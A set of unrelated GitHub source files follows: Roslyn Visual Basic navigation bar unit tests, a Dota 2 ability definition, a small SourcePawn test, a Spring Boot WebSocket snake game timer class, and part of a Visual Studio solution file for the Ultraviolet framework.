Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("S(Of T)() As Integer", Glyph.MethodPublic, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub SingleNonGenericMethod()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Sub S(arg As Integer)
End Sub
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("S", Glyph.MethodPublic, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544994)>
Public Sub SelectedItemForNestedClass()
AssertSelectedItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Class Nested
$$
End Class
End Class
</Document>
</Project>
</Workspace>,
Item("Nested (C)", Glyph.ClassPublic, bolded:=True), False, Nothing, False)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(899330)>
Public Sub SelectedItemForNestedClassAlphabeticallyBeforeContainingClass()
AssertSelectedItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class Z
Class Nested
$$
End Class
End Class
</Document>
</Project>
</Workspace>,
Item("Nested (Z)", Glyph.ClassPublic, bolded:=True), False, Nothing, False)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544990)>
Public Sub Finalizer()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Protected Overrides Sub Finalize()
End Class
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544988)>
Public Sub GenerateFinalizer()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
End Class
</Document>
</Project>
</Workspace>,
"C", "Finalize",
<Result>
Class C
Protected Overrides Sub Finalize()
MyBase.Finalize()
End Sub
End Class
</Result>)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub GenerateConstructor()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
End Class
</Document>
</Project>
</Workspace>,
"C", "New",
<Result>
Class C
Public Sub New()
End Sub
End Class
</Result>)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub GenerateConstructorInDesignerGeneratedFile()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document><![CDATA[
<Microsoft.VisualBasic.CompilerServices.DesignerGeneratedAttribute>
Class C
Sub InitializeComponent()
End Sub
End Class
]]></Document>
</Project>
</Workspace>,
"C", "New",
<Result><![CDATA[
<Microsoft.VisualBasic.CompilerServices.DesignerGeneratedAttribute>
Class C
Public Sub New()
' This call is required by the designer.
InitializeComponent()
' Add any initialization after the InitializeComponent() call.
End Sub
Sub InitializeComponent()
End Sub
End Class
]]></Result>)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub GeneratePartialMethod()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Partial Class C
End Class
</Document>
<Document>
Partial Class C
Private Partial Sub Foo()
End Sub
End Class
</Document>
</Project>
</Workspace>,
"C", "Foo",
<Result>
Partial Class C
Private Sub Foo()
End Sub
End Class
</Result>)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub PartialMethodInDifferentFile()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Partial Class C
End Class
</Document>
<Document>
Partial Class C
Sub Foo()
End Sub
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, hasNavigationSymbolId:=False),
Item("Foo", Glyph.MethodPublic, grayed:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544991)>
Public Sub WithEventsField()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Private WithEvents foo As System.Console
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, hasNavigationSymbolId:=False)}),
Item("foo", Glyph.FieldPrivate, bolded:=False, hasNavigationSymbolId:=False, indent:=1, children:={
Item("CancelKeyPress", Glyph.EventPublic, hasNavigationSymbolId:=False)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub GenerateEventHandler()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Private WithEvents foo As System.Console
End Class
</Document>
</Project>
</Workspace>,
"foo", "CancelKeyPress",
<Result>
Class C
Private WithEvents foo As System.Console
Private Sub foo_CancelKeyPress(sender As Object, e As ConsoleCancelEventArgs) Handles foo.CancelKeyPress
End Sub
End Class
</Result>)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(529946)>
Public Sub GenerateEventHandlerWithEscapedName()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Event [Rem] As System.Action
End Class
</Document>
</Project>
</Workspace>,
"(C Events)", "Rem",
<Result>
Class C
Event [Rem] As System.Action
Private Sub C_Rem() Handles Me.[Rem]
End Sub
End Class
</Result>)
End Sub
<WorkItem(546152)>
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub GenerateEventHandlerWithRemName()
AssertGeneratedResultIs(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Imports System
Class C
Event E As Action
WithEvents [Rem] As C
End Class
</Document>
</Project>
</Workspace>,
"Rem", "E",
<Result>
Imports System
Class C
Event E As Action
WithEvents [Rem] As C
Private Sub Rem_E() Handles [Rem].E
End Sub
End Class
</Result>)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub NoListedEventToGenerateWithInvalidTypeName()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Event BindingError As System.FogBar
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, children:={
Item("New", Glyph.MethodPublic, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, hasNavigationSymbolId:=False),
Item("BindingError", Glyph.EventPublic, hasNavigationSymbolId:=True, bolded:=True)},
bolded:=True))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(530657)>
Public Sub CodeGenerationItemsShouldNotAppearWhenWorkspaceDoesNotSupportDocumentChanges()
Dim workspaceSupportsChangeDocument = False
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Partial Class C
Private WithEvents M As System.Console
End Class
Partial Class C
Partial Private Sub S()
End Sub
End Class
</Document>
</Project>
</Workspace>,
workspaceSupportsChangeDocument,
Item("C", Glyph.ClassInternal, bolded:=True),
Item("M", Glyph.FieldPrivate, indent:=1, hasNavigationSymbolId:=False))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(545220)>
Public Sub [Enum]()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Enum MyEnum
A
B
C
End Enum
</Document>
</Project>
</Workspace>,
Item("MyEnum", Glyph.EnumInternal, children:={
Item("A", Glyph.EnumMember),
Item("B", Glyph.EnumMember),
Item("C", Glyph.EnumMember)},
bolded:=True))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub Events()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Public Class Base
Public WithEvents o1 As New Class1
Public WithEvents o2 As New Class1
Public Class Class1
' Declare an event.
Public Event Ev_Event()
End Class
$$
Sub EventHandler() Handles o1.Ev_Event
End Sub
End Class
</Document>
</Project>
</Workspace>,
Item("Base", Glyph.ClassPublic, children:={
Item("New", Glyph.MethodPublic, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, hasNavigationSymbolId:=False)},
bolded:=True),
Item("o1", Glyph.FieldPublic, children:={
Item("Ev_Event", Glyph.EventPublic, bolded:=True)},
bolded:=False,
hasNavigationSymbolId:=False,
indent:=1),
Item("o2", Glyph.FieldPublic, children:={
Item("Ev_Event", Glyph.EventPublic, hasNavigationSymbolId:=False)},
bolded:=False,
hasNavigationSymbolId:=False,
indent:=1),
Item("Class1 (Base)", Glyph.ClassPublic, children:={
Item("New", Glyph.MethodPublic, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, hasNavigationSymbolId:=False),
Item("Ev_Event", Glyph.EventPublic, bolded:=True)},
bolded:=True),
Item("(Class1 Events)", Glyph.EventPublic, children:={
Item("Ev_Event", Glyph.EventPublic, hasNavigationSymbolId:=False)},
bolded:=False,
indent:=1,
hasNavigationSymbolId:=False))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar)>
Public Sub NavigationBetweenFiles()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Source.vb">
Partial Class Program
Sub StartingFile()
End Sub
End Class
</Document>
<Document FilePath="Sink.vb">
Partial Class Program
Sub MethodThatWastesTwoLines()
End Sub
Sub TargetMethod()
$$End Sub
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Source.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="TargetMethod")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(566752)>
Public Sub NavigationWithMethodWithLineContinuation()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
Private Iterator Function SomeNumbers() _
As System.Collections.IEnumerable
$$Yield 3
Yield 5
Yield 8
End Function
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="SomeNumbers")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(531586)>
Public Sub NavigationWithMethodWithNoTerminator()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
$$Private Sub S()
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(531586)>
Public Sub NavigationWithMethodWithDocumentationComment()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb"><![CDATA[
Partial Class Program
''' <summary></summary>
$$Private Sub S()
End Class
]]></Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(567914)>
Public Sub NavigationWithMethodWithMultipleLineDeclaration()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
Private Sub S(
value As Integer
)
$$Exit Sub
End Sub
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(605074)>
Public Sub NavigationWithMethodContainingComment()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
Private Sub S(value As Integer)
$$' Foo
End Sub
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(605074)>
Public Sub NavigationWithMethodContainingBlankLineWithSpaces()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
Private Sub S(value As Integer)
$$
End Sub
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S")
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(605074)>
Public Sub NavigationWithMethodContainingBlankLineWithNoSpaces()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
Private Sub S(value As Integer)
$$
End Sub
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S",
expectedVirtualSpace:=8)
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(605074)>
Public Sub NavigationWithMethodContainingBlankLineWithSomeSpaces()
AssertNavigationPoint(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document FilePath="Code.vb">
Partial Class Program
Private Sub S(value As Integer)
$$
End Sub
End Class
</Document>
</Project>
</Workspace>,
startingDocumentFilePath:="Code.vb",
leftItemToSelectText:="Program",
rightItemToSelectText:="S",
expectedVirtualSpace:=4)
End Sub
End Class
End Namespace
| {
"pile_set_name": "Github"
} |
"DOTAAbilities"
{
//=================================================================================================================
// Bonus Brain Sap Damage/Heal
//=================================================================================================================
"special_bonus_unique_bane_2"
{
// General
//-------------------------------------------------------------------------------------------------------------
"ID" "6069" // unique ID number for this ability. Do not change this once established or it will invalidate collected stats.
"AbilityType" "DOTA_ABILITY_TYPE_ATTRIBUTES"
"AbilityBehavior" "DOTA_ABILITY_BEHAVIOR_PASSIVE"
// Special
//-------------------------------------------------------------------------------------------------------------
"AbilitySpecial"
{
"01"
{
"var_type" "FIELD_INTEGER"
"value" "500" //OAA
"ad_linked_ability" "bane_brain_sap"
}
}
}
}
| {
"pile_set_name": "Github"
} |
#pragma semicolon 1
enum struct PlayerData {
float Angles[3];
float Position[3]
}
public main() {
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2012-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package smoketest.websocket.tomcat.snake;
import java.util.Collection;
import java.util.Collections;
import java.util.Iterator;
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* Sets up the timer for the multi-player snake game WebSocket example.
*/
public final class SnakeTimer {
private static final long TICK_DELAY = 100;
private static final Object MONITOR = new Object();
private static final Log logger = LogFactory.getLog(SnakeTimer.class);
private static final ConcurrentHashMap<Integer, Snake> snakes = new ConcurrentHashMap<>();
private static Timer gameTimer = null;
private SnakeTimer() {
}
public static void addSnake(Snake snake) {
synchronized (MONITOR) {
if (snakes.isEmpty()) {
startTimer();
}
snakes.put(Integer.valueOf(snake.getId()), snake);
}
}
public static Collection<Snake> getSnakes() {
return Collections.unmodifiableCollection(snakes.values());
}
public static void removeSnake(Snake snake) {
synchronized (MONITOR) {
snakes.remove(Integer.valueOf(snake.getId()));
if (snakes.isEmpty()) {
stopTimer();
}
}
}
public static void tick() throws Exception {
StringBuilder sb = new StringBuilder();
for (Iterator<Snake> iterator = SnakeTimer.getSnakes().iterator(); iterator.hasNext();) {
Snake snake = iterator.next();
snake.update(SnakeTimer.getSnakes());
sb.append(snake.getLocationsJson());
if (iterator.hasNext()) {
sb.append(',');
}
}
broadcast(String.format("{'type': 'update', 'data' : [%s]}", sb.toString()));
}
public static void broadcast(String message) throws Exception {
Collection<Snake> snakes = new CopyOnWriteArrayList<>(SnakeTimer.getSnakes());
for (Snake snake : snakes) {
try {
snake.sendMessage(message);
}
catch (Throwable ex) {
// if Snake#sendMessage fails the client is removed
removeSnake(snake);
}
}
}
public static void startTimer() {
gameTimer = new Timer(SnakeTimer.class.getSimpleName() + " Timer");
gameTimer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
try {
tick();
}
catch (Throwable ex) {
logger.error("Caught to prevent timer from shutting down", ex);
}
}
}, TICK_DELAY, TICK_DELAY);
}
public static void stopTimer() {
if (gameTimer != null) {
gameTimer.cancel();
}
}
}
| {
"pile_set_name": "Github"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29609.76
MinimumVisualStudioVersion = 10.0.40219.1
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Core", "Ultraviolet.Core\Shared\Ultraviolet.Core.shproj", "{803B586B-CBAC-4E46-A787-BDF837E1EF46}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Core.NETStandard21", "Ultraviolet.Core\NETStandard21\Ultraviolet.Core.NETStandard21.csproj", "{5084F479-1233-477C-87D8-9DF47055DD80}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Core.NETStandard20", "Ultraviolet.Core\NETStandard20\Ultraviolet.Core.NETStandard20.csproj", "{6425D280-825E-4C8E-B378-6248391024EE}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Core.TestFramework", "Ultraviolet.Core.TestFramework\Shared\Ultraviolet.Core.TestFramework.shproj", "{C0EF7BA7-4F67-4063-84F7-8C04E4FCC632}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Core.Tests", "Ultraviolet.Core.Tests\Shared\Ultraviolet.Core.Tests.shproj", "{073BB428-13A0-4812-BAAD-A18E7326CC52}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.OpenGL.Bindings", "Ultraviolet.OpenGL.Bindings\Shared\Ultraviolet.OpenGL.Bindings.shproj", "{F2660B00-B04A-4301-9DFB-226DD9D0798B}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.OpenGL.Bindings.NETStandard20", "Ultraviolet.OpenGL.Bindings\NETStandard20\Ultraviolet.OpenGL.Bindings.NETStandard20.csproj", "{9A26B895-46B3-4AA5-890A-A707958CAFD2}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.OpenGL.Bindings.NETStandard21", "Ultraviolet.OpenGL.Bindings\NETStandard21\Ultraviolet.OpenGL.Bindings.NETStandard21.csproj", "{083EBC74-51BE-46E4-981F-09F5384EA856}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet", "Ultraviolet\Shared\Ultraviolet.shproj", "{979EFFAE-5CDF-4CA8-90D0-E3DBF091DE0A}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.NETStandard20", "Ultraviolet\NETStandard20\Ultraviolet.NETStandard20.csproj", "{737D61A7-238E-40C8-89DC-46B6D6C38FD9}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.NETStandard21", "Ultraviolet\NETStandard21\Ultraviolet.NETStandard21.csproj", "{60ECC362-96E4-4A54-B280-23CB5CDB6903}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.TestFramework", "Ultraviolet.TestFramework\Shared\Ultraviolet.TestFramework.shproj", "{D223F1A9-3445-47FE-B82F-F7AA334F0549}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.OpenGL", "Ultraviolet.OpenGL\Shared\Ultraviolet.OpenGL.shproj", "{F04E0C37-AFC2-4B85-90C7-9D77DCFD074C}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.SDL2", "Ultraviolet.SDL2\Shared\Ultraviolet.SDL2.shproj", "{97309779-3045-4D98-8DE0-5F40A8DC1C5B}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.SDL2.NETStandard20", "Ultraviolet.SDL2\NETStandard20\Ultraviolet.SDL2.NETStandard20.csproj", "{81CA3649-4502-407F-B0E8-87EF9B4B1BDF}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.SDL2.NETStandard21", "Ultraviolet.SDL2\NETStandard21\Ultraviolet.SDL2.NETStandard21.csproj", "{4EFF1892-2CDF-45A4-8BB0-61CEC0875963}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.OpenGL.NETStandard20", "Ultraviolet.OpenGL\NETStandard20\Ultraviolet.OpenGL.NETStandard20.csproj", "{156CD6A9-A0AA-43A5-B08D-F22424A803A7}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.OpenGL.NETStandard21", "Ultraviolet.OpenGL\NETStandard21\Ultraviolet.OpenGL.NETStandard21.csproj", "{2102C259-B359-465F-93DC-3A317FF09762}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Shims.NETCore3", "Ultraviolet.Shims.NETCore3\Ultraviolet.Shims.NETCore3.csproj", "{6DE9B8AD-3CBD-499B-9A17-5DB198B7E6B1}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Shims.NETCore2", "Ultraviolet.Shims.NETCore2\Ultraviolet.Shims.NETCore2.csproj", "{EDEF6CD7-8132-4C8C-8196-38832D4F4B9F}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Tests", "Ultraviolet.Tests\Shared\Ultraviolet.Tests.shproj", "{084C6292-2DE5-4F12-A40F-6B9BDD6154F5}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.FreeType2", "Ultraviolet.FreeType2\Shared\Ultraviolet.FreeType2.shproj", "{9C6D1468-B7A7-4FB9-B7EF-088803A62B89}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.FreeType2.NETStandard20", "Ultraviolet.FreeType2\NETStandard20\Ultraviolet.FreeType2.NETStandard20.csproj", "{EAC832A4-C689-4A81-A8C9-91ECE9C94521}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.FreeType2.NETStandard21", "Ultraviolet.FreeType2\NETStandard21\Ultraviolet.FreeType2.NETStandard21.csproj", "{9E47B77D-B108-4954-B441-2569FA888041}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation.Uvss", "Ultraviolet.Presentation.Uvss\Shared\Ultraviolet.Presentation.Uvss.shproj", "{2DEF7217-0B35-423C-9085-EC46260682C7}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Uvss.NETStandard20", "Ultraviolet.Presentation.Uvss\NETStandard20\Ultraviolet.Presentation.Uvss.NETStandard20.csproj", "{9CCB4AFE-E0AF-4051-B4D2-D2885A7F1DB8}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Uvss.NETStandard21", "Ultraviolet.Presentation.Uvss\NETStandard21\Ultraviolet.Presentation.Uvss.NETStandard21.csproj", "{C51252DA-60C9-4B3B-A08E-C94F9D1A9F35}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation", "Ultraviolet.Presentation\Shared\Ultraviolet.Presentation.shproj", "{4E921721-BE4A-4F69-BEE4-61E8A18E0774}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.NETStandard20", "Ultraviolet.Presentation\NETStandard20\Ultraviolet.Presentation.NETStandard20.csproj", "{B148FE6C-3D5A-4EFB-8A93-63ADB3152CF7}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.NETStandard21", "Ultraviolet.Presentation\NETStandard21\Ultraviolet.Presentation.NETStandard21.csproj", "{73860779-6975-440D-9F01-DCE0FBA2F703}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.BASS", "Ultraviolet.BASS\Shared\Ultraviolet.BASS.shproj", "{62E8C883-B858-4FCC-82EC-C313FEFBAD34}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.BASS.NETStandard20", "Ultraviolet.BASS\NETStandard20\Ultraviolet.BASS.NETStandard20.csproj", "{2FEB822E-A465-483C-B14C-1CE2F27A2181}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.BASS.NETStandard21", "Ultraviolet.BASS\NETStandard21\Ultraviolet.BASS.NETStandard21.csproj", "{69ADB61D-C5B5-4E5E-82D6-8AFD9216D28E}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation.Compiler", "Ultraviolet.Presentation.Compiler\Shared\Ultraviolet.Presentation.Compiler.shproj", "{D27AB499-F06F-47EA-8645-285CF2315EC2}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Compiler.NETStandard20", "Ultraviolet.Presentation.Compiler\NETStandard20\Ultraviolet.Presentation.Compiler.NETStandard20.csproj", "{54C6341B-FF25-4E8E-B8ED-BBE9503FF2BF}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.Presentation.Compiler.NETStandard21", "Ultraviolet.Presentation.Compiler\NETStandard21\Ultraviolet.Presentation.Compiler.NETStandard21.csproj", "{6D4EB5C2-1427-4BBD-8679-F1D01F3675F9}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation.Uvss.TestFramework", "Ultraviolet.Presentation.Uvss.TestFramework\Shared\Ultraviolet.Presentation.Uvss.TestFramework.shproj", "{75265EF0-DD07-4895-8C6B-18593A370B04}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.Presentation.Uvss.Tests", "Ultraviolet.Presentation.Uvss.Tests\Shared\Ultraviolet.Presentation.Uvss.Tests.shproj", "{7122E830-C550-488A-BC17-A5542FF5DD17}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.FMOD", "Ultraviolet.FMOD\Shared\Ultraviolet.FMOD.shproj", "{F6FE0208-9CA4-41C6-88A2-BBF5B25B3977}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.FMOD.NETStandard20", "Ultraviolet.FMOD\NETStandard20\Ultraviolet.FMOD.NETStandard20.csproj", "{1F722FBD-8E0C-4D3F-AFB5-8D8B0C8A7102}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.FMOD.NETStandard21", "Ultraviolet.FMOD\NETStandard21\Ultraviolet.FMOD.NETStandard21.csproj", "{2D9F99FD-93EE-4D9E-8EC9-718E6C67595E}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.ImGuiViewProvider.Bindings", "Ultraviolet.ImGuiViewProvider.Bindings\Shared\Ultraviolet.ImGuiViewProvider.Bindings.shproj", "{11742F76-15D2-47B2-A36D-81C9F5699E81}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.ImGuiViewProvider.Bindings.NETStandard20", "Ultraviolet.ImGuiViewProvider.Bindings\NETStandard20\Ultraviolet.ImGuiViewProvider.Bindings.NETStandard20.csproj", "{D619CE8D-3B4F-415A-BA78-96B2D551A2C2}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Ultraviolet.ImGuiViewProvider.Bindings.NETStandard21", "Ultraviolet.ImGuiViewProvider.Bindings\NETStandard21\Ultraviolet.ImGuiViewProvider.Bindings.NETStandard21.csproj", "{2C86EC33-C71F-4369-940D-F9FDB69EB165}"
EndProject
Project("{D954291E-2A0B-460D-934E-DC6B0785DB48}") = "Ultraviolet.ImGuiViewProvider", "Ultraviolet.ImGuiViewProvider\Shared\Ultraviolet.ImGuiViewProvider.shproj", "{76FFE46F-869E-4BDE-8122-CEB21B7FF07F}"
EndProject
